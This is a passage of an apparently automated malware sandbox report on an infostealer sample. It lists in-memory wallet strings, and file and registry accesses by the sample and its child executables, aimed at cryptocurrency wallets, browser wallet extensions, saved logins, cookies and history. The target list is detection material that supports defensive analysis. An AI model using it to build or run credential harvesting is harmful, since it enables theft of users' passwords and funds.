Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1865897595.0000000000257000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1865897595.0000000000257000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1012997001\Ed7zZr4.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\1012997001\Ed7zZr4.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1012997001\Ed7zZr4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\CURRENT
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\1012997001\Ed7zZr4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\LOG.old
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\AppData\Local\Temp\1012997001\Ed7zZr4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\LOCK
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\1012997001\Ed7zZr4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\MANIFEST-000001
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\1012997001\Ed7zZr4.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\1012997001\Ed7zZr4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\1012997001\Ed7zZr4.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1012997001\Ed7zZr4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\000003.log
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\1012997001\Ed7zZr4.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\key4.db
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
